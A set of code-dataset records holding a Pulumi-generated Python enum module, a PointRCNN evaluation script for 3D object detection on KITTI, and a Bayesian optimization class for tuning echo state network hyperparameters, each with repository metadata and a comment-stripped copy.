[ "Apache-2.0" ]

4

2020-09-29T14:14:59.000Z

2021-02-10T20:38:16.000Z

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** from enum import Enum __all__ = [ 'CostAllocationPolicyType', 'CostAllocationResourceType', 'RuleStatus', ] class CostAllocationPolicyType(str, Enum): """ Method of cost allocation for the rule """ FIXED_PROPORTION = "FixedProportion" class CostAllocationResourceType(str, Enum): """ Type of resources contained in this cost allocation rule """ DIMENSION = "Dimension" TAG = "Tag" class RuleStatus(str, Enum): """ Status of the rule """ NOT_ACTIVE = "NotActive" ACTIVE = "Active" PROCESSING = "Processing"

20.944444

80

0.659151

from enum import Enum __all__ = [ 'CostAllocationPolicyType', 'CostAllocationResourceType', 'RuleStatus', ] class CostAllocationPolicyType(str, Enum): FIXED_PROPORTION = "FixedProportion" class CostAllocationResourceType(str, Enum): DIMENSION = "Dimension" TAG = "Tag" class RuleStatus(str, Enum): NOT_ACTIVE = "NotActive" ACTIVE = "Active" PROCESSING = "Processing"

true

f7015bc8d1aae686fe1efb7e3d9e149f9f981a3e

12,289

py

Python

tools/train_eval.py

Sakura176/PointRCNN

a7fbb25e931609a39c32cb821a7c98a326e8b0c0

[ "MIT" ]

null

tools/train_eval.py

Sakura176/PointRCNN

a7fbb25e931609a39c32cb821a7c98a326e8b0c0

[ "MIT" ]

null

tools/train_eval.py

Sakura176/PointRCNN

a7fbb25e931609a39c32cb821a7c98a326e8b0c0

[ "MIT" ]

null

import os import numpy as np import torch import torch.nn.functional as F from lib.utils.bbox_transform import decode_bbox_target from tools.kitti_object_eval_python.evaluate import evaluate as kitti_evaluate from lib.config import cfg import lib.utils.kitti_utils as kitti_utils import lib.utils.iou3d.iou3d_utils as iou3d_utils from datetime import datetime from tensorboardX import SummaryWriter import tqdm np.random.seed(1024) # set the same seed def save_kitti_format(sample_id, calib, bbox3d, kitti_output_dir, scores, img_shape): corners3d = kitti_utils.boxes3d_to_corners3d(bbox3d) img_boxes, _ = calib.corners3d_to_img_boxes(corners3d) img_boxes[:, 0] = np.clip(img_boxes[:, 0], 0, img_shape[1] - 1) img_boxes[:, 1] = np.clip(img_boxes[:, 1], 0, img_shape[0] - 1) img_boxes[:, 2] = np.clip(img_boxes[:, 2], 0, img_shape[1] - 1) img_boxes[:, 3] = np.clip(img_boxes[:, 3], 0, img_shape[0] - 1) img_boxes_w = img_boxes[:, 2] - img_boxes[:, 0] img_boxes_h = img_boxes[:, 3] - img_boxes[:, 1] box_valid_mask = np.logical_and( img_boxes_w < img_shape[1] * 0.8, img_boxes_h < img_shape[0] * 0.8) kitti_output_file = os.path.join(kitti_output_dir, '%06d.txt' % sample_id) with open(kitti_output_file, 'w') as f: for k in range(bbox3d.shape[0]): if box_valid_mask[k] == 0: continue x, z, ry = bbox3d[k, 0], bbox3d[k, 2], bbox3d[k, 6] beta = np.arctan2(z, x) alpha = -np.sign(beta) * np.pi / 2 + beta + ry print('%s -1 -1 %.4f %.4f %.4f %.4f %.4f %.4f %.4f %.4f %.4f %.4f %.4f %.4f %.4f' % (cfg.CLASSES, alpha, img_boxes[k, 0], img_boxes[k, 1], img_boxes[k, 2], img_boxes[k, 3], bbox3d[k, 3], bbox3d[k, 4], bbox3d[k, 5], bbox3d[k, 0], bbox3d[k, 1], bbox3d[k, 2], bbox3d[k, 6], scores[k]), file=f) def eval_one_epoch_joint(model, dataloader, epoch_id, result_dir): # print("-----------------joint____________________________*******") np.random.seed(666) MEAN_SIZE = torch.from_numpy(cfg.CLS_MEAN_SIZE[0]).cuda() mode = 'EVAL' final_output_dir = os.path.join(result_dir, 'final_result', 'data') os.makedirs(final_output_dir, exist_ok=True) if True: # print("------------save_result__________________*******") roi_output_dir = os.path.join(result_dir, 'roi_result', 'data') refine_output_dir = os.path.join(result_dir, 'refine_result', 'data') rpn_output_dir = os.path.join(result_dir, 'rpn_result', 'data') os.makedirs(rpn_output_dir, exist_ok=True) os.makedirs(roi_output_dir, exist_ok=True) os.makedirs(refine_output_dir, exist_ok=True) model.eval() thresh_list = [0.1, 0.3, 0.5, 0.7, 0.9] total_recalled_bbox_list, total_gt_bbox = [0] * 5, 0 total_roi_recalled_bbox_list = [0] * 5 dataset = dataloader.dataset cnt = final_total = total_cls_acc = total_cls_acc_refined = total_rpn_iou = 0 progress_bar = tqdm.tqdm(total=len(dataloader), leave=True, desc='eval') for data in dataloader: cnt += 1 calib = data['calib'] sample_id, pts_rect, pts_features, pts_input = \ data['sample_id'], data['pts_rect'], data['pts_features'], data['pts_input'] batch_size = len(sample_id) inputs = torch.from_numpy(pts_input).cuda(non_blocking=True).float() input_data = {'pts_input': inputs, 'calib': calib} # model inference ret_dict = model(input_data) print(ret_dict.key()) roi_scores_raw = ret_dict['roi_scores_raw'] # (B, M) roi_boxes3d = ret_dict['rois'] # (B, M, 7) seg_result = ret_dict['seg_result'].long() # (B, N) rcnn_cls = ret_dict['rcnn_cls'].view( batch_size, -1, ret_dict['rcnn_cls'].shape[1]) rcnn_reg = ret_dict['rcnn_reg'].view( batch_size, -1, ret_dict['rcnn_reg'].shape[1]) # (B, M, C) # bounding box regression anchor_size = MEAN_SIZE if cfg.RCNN.SIZE_RES_ON_ROI: assert False pred_boxes3d = decode_bbox_target(roi_boxes3d.view(-1, 7), rcnn_reg.view(-1, rcnn_reg.shape[-1]), anchor_size=anchor_size, loc_scope=cfg.RCNN.LOC_SCOPE, loc_bin_size=cfg.RCNN.LOC_BIN_SIZE, num_head_bin=cfg.RCNN.NUM_HEAD_BIN, get_xz_fine=True, get_y_by_bin=cfg.RCNN.LOC_Y_BY_BIN, loc_y_scope=cfg.RCNN.LOC_Y_SCOPE, loc_y_bin_size=cfg.RCNN.LOC_Y_BIN_SIZE, get_ry_fine=True).view(batch_size, -1, 7) # scoring if rcnn_cls.shape[2] == 1: raw_scores = rcnn_cls # (B, M, 1) norm_scores = torch.sigmoid(raw_scores) pred_classes = (norm_scores > cfg.RCNN.SCORE_THRESH).long() else: pred_classes = torch.argmax(rcnn_cls, dim=1).view(-1) cls_norm_scores = F.softmax(rcnn_cls, dim=1) raw_scores = rcnn_cls[:, pred_classes] norm_scores = cls_norm_scores[:, pred_classes] # evaluation recalled_num = gt_num = rpn_iou = 0 if not False: if not cfg.RPN.FIXED: rpn_cls_label, rpn_reg_label = data['rpn_cls_label'], data['rpn_reg_label'] rpn_cls_label = torch.from_numpy( rpn_cls_label).cuda(non_blocking=True).long() gt_boxes3d = data['gt_boxes3d'] for k in range(batch_size): # calculate recall cur_gt_boxes3d = gt_boxes3d[k] tmp_idx = cur_gt_boxes3d.__len__() - 1 while tmp_idx >= 0 and cur_gt_boxes3d[tmp_idx].sum() == 0: tmp_idx -= 1 if tmp_idx >= 0: cur_gt_boxes3d = cur_gt_boxes3d[:tmp_idx + 1] cur_gt_boxes3d = torch.from_numpy( cur_gt_boxes3d).cuda(non_blocking=True).float() iou3d = iou3d_utils.boxes_iou3d_gpu( pred_boxes3d[k], cur_gt_boxes3d) gt_max_iou, _ = iou3d.max(dim=0) refined_iou, _ = iou3d.max(dim=1) for idx, thresh in enumerate(thresh_list): total_recalled_bbox_list[idx] += ( gt_max_iou > thresh).sum().item() recalled_num += (gt_max_iou > 0.7).sum().item() gt_num += cur_gt_boxes3d.shape[0] total_gt_bbox += cur_gt_boxes3d.shape[0] # original recall iou3d_in = iou3d_utils.boxes_iou3d_gpu( roi_boxes3d[k], cur_gt_boxes3d) gt_max_iou_in, _ = iou3d_in.max(dim=0) for idx, thresh in enumerate(thresh_list): total_roi_recalled_bbox_list[idx] += ( gt_max_iou_in > thresh).sum().item() if not cfg.RPN.FIXED: fg_mask = rpn_cls_label > 0 correct = ((seg_result == rpn_cls_label) & fg_mask).sum().float() union = fg_mask.sum().float() + (seg_result > 0).sum().float() - correct rpn_iou = correct / torch.clamp(union, min=1.0) total_rpn_iou += rpn_iou.item() disp_dict = { 'mode': mode, 'recall': '%d/%d' % (total_recalled_bbox_list[3], total_gt_bbox)} progress_bar.set_postfix(disp_dict) progress_bar.update() if True: # save roi and refine results roi_boxes3d_np = roi_boxes3d.cpu().numpy() pred_boxes3d_np = pred_boxes3d.cpu().numpy() roi_scores_raw_np = roi_scores_raw.cpu().numpy() raw_scores_np = raw_scores.cpu().numpy() rpn_cls_np = ret_dict['rpn_cls'].cpu().numpy() rpn_xyz_np = ret_dict['backbone_xyz'].cpu().numpy() seg_result_np = seg_result.cpu().numpy() output_data = np.concatenate((rpn_xyz_np, rpn_cls_np.reshape(batch_size, -1, 1), seg_result_np.reshape(batch_size, -1, 1)), axis=2) for k in range(batch_size): cur_sample_id = sample_id[k] calib = dataset.get_calib(cur_sample_id) image_shape = dataset.get_image_shape(cur_sample_id) save_kitti_format(cur_sample_id, calib, roi_boxes3d_np[k], roi_output_dir, roi_scores_raw_np[k], image_shape) save_kitti_format(cur_sample_id, calib, pred_boxes3d_np[k], refine_output_dir, raw_scores_np[k], image_shape) output_file = os.path.join( rpn_output_dir, '%06d.npy' % cur_sample_id) np.save(output_file, output_data.astype(np.float32)) # scores thresh inds = norm_scores > cfg.RCNN.SCORE_THRESH for k in range(batch_size): cur_inds = inds[k].view(-1) if cur_inds.sum() == 0: continue pred_boxes3d_selected = pred_boxes3d[k, cur_inds] raw_scores_selected = raw_scores[k, cur_inds] norm_scores_selected = norm_scores[k, cur_inds] # NMS thresh # rotated nms boxes_bev_selected = kitti_utils.boxes3d_to_bev_torch( pred_boxes3d_selected) keep_idx = iou3d_utils.nms_gpu( boxes_bev_selected, raw_scores_selected, cfg.RCNN.NMS_THRESH).view(-1) pred_boxes3d_selected = pred_boxes3d_selected[keep_idx] scores_selected = raw_scores_selected[keep_idx] pred_boxes3d_selected, scores_selected = pred_boxes3d_selected.cpu( ).numpy(), scores_selected.cpu().numpy() cur_sample_id = sample_id[k] calib = dataset.get_calib(cur_sample_id) final_total += pred_boxes3d_selected.shape[0] image_shape = dataset.get_image_shape(cur_sample_id) save_kitti_format(cur_sample_id, calib, pred_boxes3d_selected, final_output_dir, scores_selected, image_shape) progress_bar.close() # dump empty files split_file = os.path.join(dataset.imageset_dir, '..', '..', 'ImageSets', dataset.split + '.txt') split_file = os.path.abspath(split_file) image_idx_list = [x.strip() for x in open(split_file).readlines()] empty_cnt = 0 for k in range(image_idx_list.__len__()): cur_file = os.path.join(final_output_dir, '%s.txt' % image_idx_list[k]) if not os.path.exists(cur_file): with open(cur_file, 'w') as temp_f: pass empty_cnt += 1 ret_dict = {'empty_cnt': empty_cnt} avg_rpn_iou = (total_rpn_iou / max(cnt, 1.0)) avg_cls_acc = (total_cls_acc / max(cnt, 1.0)) avg_cls_acc_refined = (total_cls_acc_refined / max(cnt, 1.0)) avg_det_num = (final_total / max(len(dataset), 1.0)) ret_dict['rpn_iou'] = avg_rpn_iou ret_dict['rcnn_cls_acc'] = avg_cls_acc ret_dict['rcnn_cls_acc_refined'] = avg_cls_acc_refined ret_dict['rcnn_avg_num'] = avg_det_num for idx, thresh in enumerate(thresh_list): cur_roi_recall = total_roi_recalled_bbox_list[idx] / max( total_gt_bbox, 1.0) ret_dict['rpn_recall(thresh=%.2f)' % thresh] = cur_roi_recall for idx, thresh in enumerate(thresh_list): cur_recall = total_recalled_bbox_list[idx] / max(total_gt_bbox, 1.0) ret_dict['rcnn_recall(thresh=%.2f)' % thresh] = cur_recall if cfg.TEST.SPLIT != 'test': name_to_class = {'Car': 0, 'Pedestrian': 1, 'Cyclist': 2} ap_result_str, ap_dict = kitti_evaluate(dataset.label_dir, final_output_dir, label_split_file=split_file, current_class=name_to_class[cfg.CLASSES]) ret_dict.update(ap_dict) return ap_result_str

43.733096

115

0.582391

import os import numpy as np import torch import torch.nn.functional as F from lib.utils.bbox_transform import decode_bbox_target from tools.kitti_object_eval_python.evaluate import evaluate as kitti_evaluate from lib.config import cfg import lib.utils.kitti_utils as kitti_utils import lib.utils.iou3d.iou3d_utils as iou3d_utils from datetime import datetime from tensorboardX import SummaryWriter import tqdm np.random.seed(1024) def save_kitti_format(sample_id, calib, bbox3d, kitti_output_dir, scores, img_shape): corners3d = kitti_utils.boxes3d_to_corners3d(bbox3d) img_boxes, _ = calib.corners3d_to_img_boxes(corners3d) img_boxes[:, 0] = np.clip(img_boxes[:, 0], 0, img_shape[1] - 1) img_boxes[:, 1] = np.clip(img_boxes[:, 1], 0, img_shape[0] - 1) img_boxes[:, 2] = np.clip(img_boxes[:, 2], 0, img_shape[1] - 1) img_boxes[:, 3] = np.clip(img_boxes[:, 3], 0, img_shape[0] - 1) img_boxes_w = img_boxes[:, 2] - img_boxes[:, 0] img_boxes_h = img_boxes[:, 3] - img_boxes[:, 1] box_valid_mask = np.logical_and( img_boxes_w < img_shape[1] * 0.8, img_boxes_h < img_shape[0] * 0.8) kitti_output_file = os.path.join(kitti_output_dir, '%06d.txt' % sample_id) with open(kitti_output_file, 'w') as f: for k in range(bbox3d.shape[0]): if box_valid_mask[k] == 0: continue x, z, ry = bbox3d[k, 0], bbox3d[k, 2], bbox3d[k, 6] beta = np.arctan2(z, x) alpha = -np.sign(beta) * np.pi / 2 + beta + ry print('%s -1 -1 %.4f %.4f %.4f %.4f %.4f %.4f %.4f %.4f %.4f %.4f %.4f %.4f %.4f' % (cfg.CLASSES, alpha, img_boxes[k, 0], img_boxes[k, 1], img_boxes[k, 2], img_boxes[k, 3], bbox3d[k, 3], bbox3d[k, 4], bbox3d[k, 5], bbox3d[k, 0], bbox3d[k, 1], bbox3d[k, 2], bbox3d[k, 6], scores[k]), file=f) def eval_one_epoch_joint(model, dataloader, epoch_id, result_dir): np.random.seed(666) MEAN_SIZE = torch.from_numpy(cfg.CLS_MEAN_SIZE[0]).cuda() mode = 'EVAL' final_output_dir = os.path.join(result_dir, 'final_result', 'data') os.makedirs(final_output_dir, exist_ok=True) if True: roi_output_dir = os.path.join(result_dir, 'roi_result', 'data') refine_output_dir = os.path.join(result_dir, 'refine_result', 'data') rpn_output_dir = os.path.join(result_dir, 'rpn_result', 'data') os.makedirs(rpn_output_dir, exist_ok=True) os.makedirs(roi_output_dir, exist_ok=True) os.makedirs(refine_output_dir, exist_ok=True) model.eval() thresh_list = [0.1, 0.3, 0.5, 0.7, 0.9] total_recalled_bbox_list, total_gt_bbox = [0] * 5, 0 total_roi_recalled_bbox_list = [0] * 5 dataset = dataloader.dataset cnt = final_total = total_cls_acc = total_cls_acc_refined = total_rpn_iou = 0 progress_bar = tqdm.tqdm(total=len(dataloader), leave=True, desc='eval') for data in dataloader: cnt += 1 calib = data['calib'] sample_id, pts_rect, pts_features, pts_input = \ data['sample_id'], data['pts_rect'], data['pts_features'], data['pts_input'] batch_size = len(sample_id) inputs = torch.from_numpy(pts_input).cuda(non_blocking=True).float() input_data = {'pts_input': inputs, 'calib': calib} ret_dict = model(input_data) print(ret_dict.key()) roi_scores_raw = ret_dict['roi_scores_raw'] roi_boxes3d = ret_dict['rois'] seg_result = ret_dict['seg_result'].long() rcnn_cls = ret_dict['rcnn_cls'].view( batch_size, -1, ret_dict['rcnn_cls'].shape[1]) rcnn_reg = ret_dict['rcnn_reg'].view( batch_size, -1, ret_dict['rcnn_reg'].shape[1]) anchor_size = MEAN_SIZE if cfg.RCNN.SIZE_RES_ON_ROI: assert False pred_boxes3d = decode_bbox_target(roi_boxes3d.view(-1, 7), rcnn_reg.view(-1, rcnn_reg.shape[-1]), anchor_size=anchor_size, loc_scope=cfg.RCNN.LOC_SCOPE, loc_bin_size=cfg.RCNN.LOC_BIN_SIZE, num_head_bin=cfg.RCNN.NUM_HEAD_BIN, get_xz_fine=True, get_y_by_bin=cfg.RCNN.LOC_Y_BY_BIN, loc_y_scope=cfg.RCNN.LOC_Y_SCOPE, loc_y_bin_size=cfg.RCNN.LOC_Y_BIN_SIZE, get_ry_fine=True).view(batch_size, -1, 7) if rcnn_cls.shape[2] == 1: raw_scores = rcnn_cls norm_scores = torch.sigmoid(raw_scores) pred_classes = (norm_scores > cfg.RCNN.SCORE_THRESH).long() else: pred_classes = torch.argmax(rcnn_cls, dim=1).view(-1) cls_norm_scores = F.softmax(rcnn_cls, dim=1) raw_scores = rcnn_cls[:, pred_classes] norm_scores = cls_norm_scores[:, pred_classes] recalled_num = gt_num = rpn_iou = 0 if not False: if not cfg.RPN.FIXED: rpn_cls_label, rpn_reg_label = data['rpn_cls_label'], data['rpn_reg_label'] rpn_cls_label = torch.from_numpy( rpn_cls_label).cuda(non_blocking=True).long() gt_boxes3d = data['gt_boxes3d'] for k in range(batch_size): cur_gt_boxes3d = gt_boxes3d[k] tmp_idx = cur_gt_boxes3d.__len__() - 1 while tmp_idx >= 0 and cur_gt_boxes3d[tmp_idx].sum() == 0: tmp_idx -= 1 if tmp_idx >= 0: cur_gt_boxes3d = cur_gt_boxes3d[:tmp_idx + 1] cur_gt_boxes3d = torch.from_numpy( cur_gt_boxes3d).cuda(non_blocking=True).float() iou3d = iou3d_utils.boxes_iou3d_gpu( pred_boxes3d[k], cur_gt_boxes3d) gt_max_iou, _ = iou3d.max(dim=0) refined_iou, _ = iou3d.max(dim=1) for idx, thresh in enumerate(thresh_list): total_recalled_bbox_list[idx] += ( gt_max_iou > thresh).sum().item() recalled_num += (gt_max_iou > 0.7).sum().item() gt_num += cur_gt_boxes3d.shape[0] total_gt_bbox += cur_gt_boxes3d.shape[0] iou3d_in = iou3d_utils.boxes_iou3d_gpu( roi_boxes3d[k], cur_gt_boxes3d) gt_max_iou_in, _ = iou3d_in.max(dim=0) for idx, thresh in enumerate(thresh_list): total_roi_recalled_bbox_list[idx] += ( gt_max_iou_in > thresh).sum().item() if not cfg.RPN.FIXED: fg_mask = rpn_cls_label > 0 correct = ((seg_result == rpn_cls_label) & fg_mask).sum().float() union = fg_mask.sum().float() + (seg_result > 0).sum().float() - correct rpn_iou = correct / torch.clamp(union, min=1.0) total_rpn_iou += rpn_iou.item() disp_dict = { 'mode': mode, 'recall': '%d/%d' % (total_recalled_bbox_list[3], total_gt_bbox)} progress_bar.set_postfix(disp_dict) progress_bar.update() if True: roi_boxes3d_np = roi_boxes3d.cpu().numpy() pred_boxes3d_np = pred_boxes3d.cpu().numpy() roi_scores_raw_np = roi_scores_raw.cpu().numpy() raw_scores_np = raw_scores.cpu().numpy() rpn_cls_np = ret_dict['rpn_cls'].cpu().numpy() rpn_xyz_np = ret_dict['backbone_xyz'].cpu().numpy() seg_result_np = seg_result.cpu().numpy() output_data = np.concatenate((rpn_xyz_np, rpn_cls_np.reshape(batch_size, -1, 1), seg_result_np.reshape(batch_size, -1, 1)), axis=2) for k in range(batch_size): cur_sample_id = sample_id[k] calib = dataset.get_calib(cur_sample_id) image_shape = dataset.get_image_shape(cur_sample_id) save_kitti_format(cur_sample_id, calib, roi_boxes3d_np[k], roi_output_dir, roi_scores_raw_np[k], image_shape) save_kitti_format(cur_sample_id, calib, pred_boxes3d_np[k], refine_output_dir, raw_scores_np[k], image_shape) output_file = os.path.join( rpn_output_dir, '%06d.npy' % cur_sample_id) np.save(output_file, output_data.astype(np.float32)) inds = norm_scores > cfg.RCNN.SCORE_THRESH for k in range(batch_size): cur_inds = inds[k].view(-1) if cur_inds.sum() == 0: continue pred_boxes3d_selected = pred_boxes3d[k, cur_inds] raw_scores_selected = raw_scores[k, cur_inds] norm_scores_selected = norm_scores[k, cur_inds] boxes_bev_selected = kitti_utils.boxes3d_to_bev_torch( pred_boxes3d_selected) keep_idx = iou3d_utils.nms_gpu( boxes_bev_selected, raw_scores_selected, cfg.RCNN.NMS_THRESH).view(-1) pred_boxes3d_selected = pred_boxes3d_selected[keep_idx] scores_selected = raw_scores_selected[keep_idx] pred_boxes3d_selected, scores_selected = pred_boxes3d_selected.cpu( ).numpy(), scores_selected.cpu().numpy() cur_sample_id = sample_id[k] calib = dataset.get_calib(cur_sample_id) final_total += pred_boxes3d_selected.shape[0] image_shape = dataset.get_image_shape(cur_sample_id) save_kitti_format(cur_sample_id, calib, pred_boxes3d_selected, final_output_dir, scores_selected, image_shape) progress_bar.close() split_file = os.path.join(dataset.imageset_dir, '..', '..', 'ImageSets', dataset.split + '.txt') split_file = os.path.abspath(split_file) image_idx_list = [x.strip() for x in open(split_file).readlines()] empty_cnt = 0 for k in range(image_idx_list.__len__()): cur_file = os.path.join(final_output_dir, '%s.txt' % image_idx_list[k]) if not os.path.exists(cur_file): with open(cur_file, 'w') as temp_f: pass empty_cnt += 1 ret_dict = {'empty_cnt': empty_cnt} avg_rpn_iou = (total_rpn_iou / max(cnt, 1.0)) avg_cls_acc = (total_cls_acc / max(cnt, 1.0)) avg_cls_acc_refined = (total_cls_acc_refined / max(cnt, 1.0)) avg_det_num = (final_total / max(len(dataset), 1.0)) ret_dict['rpn_iou'] = avg_rpn_iou ret_dict['rcnn_cls_acc'] = avg_cls_acc ret_dict['rcnn_cls_acc_refined'] = avg_cls_acc_refined ret_dict['rcnn_avg_num'] = avg_det_num for idx, thresh in enumerate(thresh_list): cur_roi_recall = total_roi_recalled_bbox_list[idx] / max( total_gt_bbox, 1.0) ret_dict['rpn_recall(thresh=%.2f)' % thresh] = cur_roi_recall for idx, thresh in enumerate(thresh_list): cur_recall = total_recalled_bbox_list[idx] / max(total_gt_bbox, 1.0) ret_dict['rcnn_recall(thresh=%.2f)' % thresh] = cur_recall if cfg.TEST.SPLIT != 'test': name_to_class = {'Car': 0, 'Pedestrian': 1, 'Cyclist': 2} ap_result_str, ap_dict = kitti_evaluate(dataset.label_dir, final_output_dir, label_split_file=split_file, current_class=name_to_class[cfg.CLASSES]) ret_dict.update(ap_dict) return ap_result_str

true

f7015cc43d31242d7bc3480085b9a95866ebf963

7,532

py

Python

parallel_esn/bo.py

zblanks/parallel_esn

25a979d0863ce54a4a588f4216dc473d4e9c5e8a

[ "BSD-2-Clause" ]

7

2019-05-06T00:32:24.000Z

2021-06-03T14:49:23.000Z

parallel_esn/bo.py

zblanks/parallel_esn

25a979d0863ce54a4a588f4216dc473d4e9c5e8a

[ "BSD-2-Clause" ]

8

2019-04-20T04:51:38.000Z

2020-02-25T22:25:34.000Z

parallel_esn/bo.py

zblanks/parallel_esn

25a979d0863ce54a4a588f4216dc473d4e9c5e8a

[ "BSD-2-Clause" ]

2

2019-04-19T11:05:51.000Z

2020-10-15T20:40:26.000Z

from math import log10 from sklearn.gaussian_process import GaussianProcessRegressor from sklearn.gaussian_process.kernels import Matern import numpy as np from .utils import create_rng class BO: """ Bayesian Optimization framework """ def __init__(self, k, hidden_dim=(100, 10000), spectral_radius=(.9, 1.3), p=(0, 1), alpha=(0, 1), beta=(1e-5, 1e3), random_state=None): """ Parameters ---------- k : tuple Range of values for nearest neighbors in small-world network hidden_dim : tuple, optional Range values for the number of nodes in the reservoir spectral_radius : tuple, optional Range of values for the spectral radius for the reservoir p : tuple, optional Range of values to consider for the rewire probability alpha : tuple, optional Range of values for the leaking rate beta : tuple, optional Range of values for the L2 regression regularization random_state : int or np.random.RandomState, optional Random state initializer """ # Check that all the hyper-parameters are tuples with two entries # which define the lower and upper bounds for the search space hyper_params = [k, hidden_dim, spectral_radius, p, alpha, beta] for param in hyper_params: assert isinstance(param, tuple), "{} must be a tuple".format(param) assert len(param) == 2, "{} must have two arguments; the upper" \ "and lower bound".format(param) self.lwr_k = k[0] self.upr_k = k[1] self.lwr_hidden_dim = hidden_dim[0] self.upr_hidden_dim = hidden_dim[1] self.lwr_spectral_radius = spectral_radius[0] self.upr_spectral_radius = spectral_radius[1] self.lwr_p = p[0] self.upr_p = p[1] self.lwr_alpha = alpha[0] self.upr_alpha = alpha[1] self.lwr_beta = beta[0] self.upr_beta = beta[1] self.rng = create_rng(random_state) self.gpr = GaussianProcessRegressor(kernel=Matern(), random_state=self.rng) # We need a placeholder for different hyper-parameter values that # arrive and the corresponding error values self.H = [] self.y = [] def update_gpr(self, X, y): """ Updates the Gaussian process with new data and error value Updates the Gaussian process by adding, `H`, the list of hyper-parameter values that were used with true function and y is the resulting error from the model Parameters ---------- X : list Hyper-parameter values that were tried y : float Error that resulted from using X on the true function Returns ------- None """ self.H.append(X) self.y.append(y) self.gpr.fit(self.H, self.y) def _sample_uniformly(self, num_samples, lwr_bound, upr_bound): """ Samples uniformly from a non-uniform space Parameters ---------- num_samples : int Number of samples to generate lwr_bound : float Hyper-parameter lower bound upr_bound : float Hyper-parameter upper bound Returns ------- param_vals : np.ndarray Uniformly sampled hyper-parameter values """ # To sample in a uniform fashion we need the base ten representation # of the upper and lower bounds and then we treat this as a region # to sample new_lwr_bound = log10(lwr_bound) new_upr_bound = log10(upr_bound) samples = self.rng.uniform(low=new_lwr_bound, high=new_upr_bound, size=(num_samples, 1)) param_vals = np.power(10, samples) return param_vals def _build_options(self, num_samples=1000): """ Builds matrix which defines possible options for this iteration Parameters ---------- num_samples : int, optional Number of hyper-parameter samples to generate Returns ------- H_space : np.ndarray Matrix of options for the ESN hyper-parameters """ k_vals = self.rng.randint(low=self.lwr_k, high=self.upr_k, size=(num_samples, 1), dtype=np.int32) hidden_dim_vals = self.rng.randint(low=self.lwr_hidden_dim, high=self.upr_hidden_dim, size=(num_samples, 1), dtype=np.int32) spectral_radius_vals = self.rng.uniform(low=self.lwr_spectral_radius, high=self.upr_spectral_radius, size=(num_samples, 1)) p_vals = self.rng.uniform(low=self.lwr_p, high=self.upr_p, size=(num_samples, 1)) alpha_vals = self.rng.uniform(low=self.lwr_alpha, high=self.upr_alpha, size=(num_samples, 1)) beta_vals = self._sample_uniformly(num_samples, self.lwr_beta, self.upr_beta) H_space = np.concatenate([k_vals, hidden_dim_vals, spectral_radius_vals, p_vals, alpha_vals, beta_vals], axis=1) return H_space def find_best_choices(self, num_samples=1000, num_choices=1): """ Finds the best hyper-parameter combination Parameters ---------- num_samples : int, optional Number of hyper-parameter samples to generate num_choices : int, optional Number of choices to select Returns ------- param_vals : dict Best hyper-parameter values for the current Gaussian process """ H_space = self._build_options(num_samples) # For the first MPI iteration because there is no prior, randomly # sample num_choices points if num_choices > 1: idx = self.rng.choice(np.arange(num_samples), size=num_choices, replace=False) best_vals = H_space[idx, :] else: y_pred = self.gpr.sample_y(H_space, random_state=self.rng) choices = np.argmin(y_pred) best_vals = H_space[choices, :] hyper_parameters = ['k', 'hidden_dim', 'spectral_radius', 'p', 'alpha', 'beta'] param_vals = {} for (i, val) in enumerate(hyper_parameters): if num_choices == 1: param_vals[val] = best_vals[i] if (val == 'k') or (val == 'hidden_dim'): param_vals[val] = int(param_vals[val]) else: param_vals[val] = best_vals[:, i] if (val == 'k') or (val == 'hidden_dim'): param_vals[val] = param_vals[val].astype(int) return param_vals def return_best_parameters(self): min_error = min(self.y) index = self.y.index(min_error) print("Minimum Validation Error = ", min_error) print("Best parameters found = ", self.H[index]) return min_error, self.H[index]

35.196262

79

0.556957

from math import log10 from sklearn.gaussian_process import GaussianProcessRegressor from sklearn.gaussian_process.kernels import Matern import numpy as np from .utils import create_rng class BO: def __init__(self, k, hidden_dim=(100, 10000), spectral_radius=(.9, 1.3), p=(0, 1), alpha=(0, 1), beta=(1e-5, 1e3), random_state=None): hyper_params = [k, hidden_dim, spectral_radius, p, alpha, beta] for param in hyper_params: assert isinstance(param, tuple), "{} must be a tuple".format(param) assert len(param) == 2, "{} must have two arguments; the upper" \ "and lower bound".format(param) self.lwr_k = k[0] self.upr_k = k[1] self.lwr_hidden_dim = hidden_dim[0] self.upr_hidden_dim = hidden_dim[1] self.lwr_spectral_radius = spectral_radius[0] self.upr_spectral_radius = spectral_radius[1] self.lwr_p = p[0] self.upr_p = p[1] self.lwr_alpha = alpha[0] self.upr_alpha = alpha[1] self.lwr_beta = beta[0] self.upr_beta = beta[1] self.rng = create_rng(random_state) self.gpr = GaussianProcessRegressor(kernel=Matern(), random_state=self.rng) self.H = [] self.y = [] def update_gpr(self, X, y): self.H.append(X) self.y.append(y) self.gpr.fit(self.H, self.y) def _sample_uniformly(self, num_samples, lwr_bound, upr_bound): new_lwr_bound = log10(lwr_bound) new_upr_bound = log10(upr_bound) samples = self.rng.uniform(low=new_lwr_bound, high=new_upr_bound, size=(num_samples, 1)) param_vals = np.power(10, samples) return param_vals def _build_options(self, num_samples=1000): k_vals = self.rng.randint(low=self.lwr_k, high=self.upr_k, size=(num_samples, 1), dtype=np.int32) hidden_dim_vals = self.rng.randint(low=self.lwr_hidden_dim, high=self.upr_hidden_dim, size=(num_samples, 1), dtype=np.int32) spectral_radius_vals = self.rng.uniform(low=self.lwr_spectral_radius, high=self.upr_spectral_radius, size=(num_samples, 1)) p_vals = self.rng.uniform(low=self.lwr_p, high=self.upr_p, size=(num_samples, 1)) alpha_vals = self.rng.uniform(low=self.lwr_alpha, high=self.upr_alpha, size=(num_samples, 1)) beta_vals = self._sample_uniformly(num_samples, self.lwr_beta, self.upr_beta) H_space = np.concatenate([k_vals, hidden_dim_vals, spectral_radius_vals, p_vals, alpha_vals, beta_vals], axis=1) return H_space def find_best_choices(self, num_samples=1000, num_choices=1): H_space = self._build_options(num_samples) if num_choices > 1: idx = self.rng.choice(np.arange(num_samples), size=num_choices, replace=False) best_vals = H_space[idx, :] else: y_pred = self.gpr.sample_y(H_space, random_state=self.rng) choices = np.argmin(y_pred) best_vals = H_space[choices, :] hyper_parameters = ['k', 'hidden_dim', 'spectral_radius', 'p', 'alpha', 'beta'] param_vals = {} for (i, val) in enumerate(hyper_parameters): if num_choices == 1: param_vals[val] = best_vals[i] if (val == 'k') or (val == 'hidden_dim'): param_vals[val] = int(param_vals[val]) else: param_vals[val] = best_vals[:, i] if (val == 'k') or (val == 'hidden_dim'): param_vals[val] = param_vals[val].astype(int) return param_vals def return_best_parameters(self): min_error = min(self.y) index 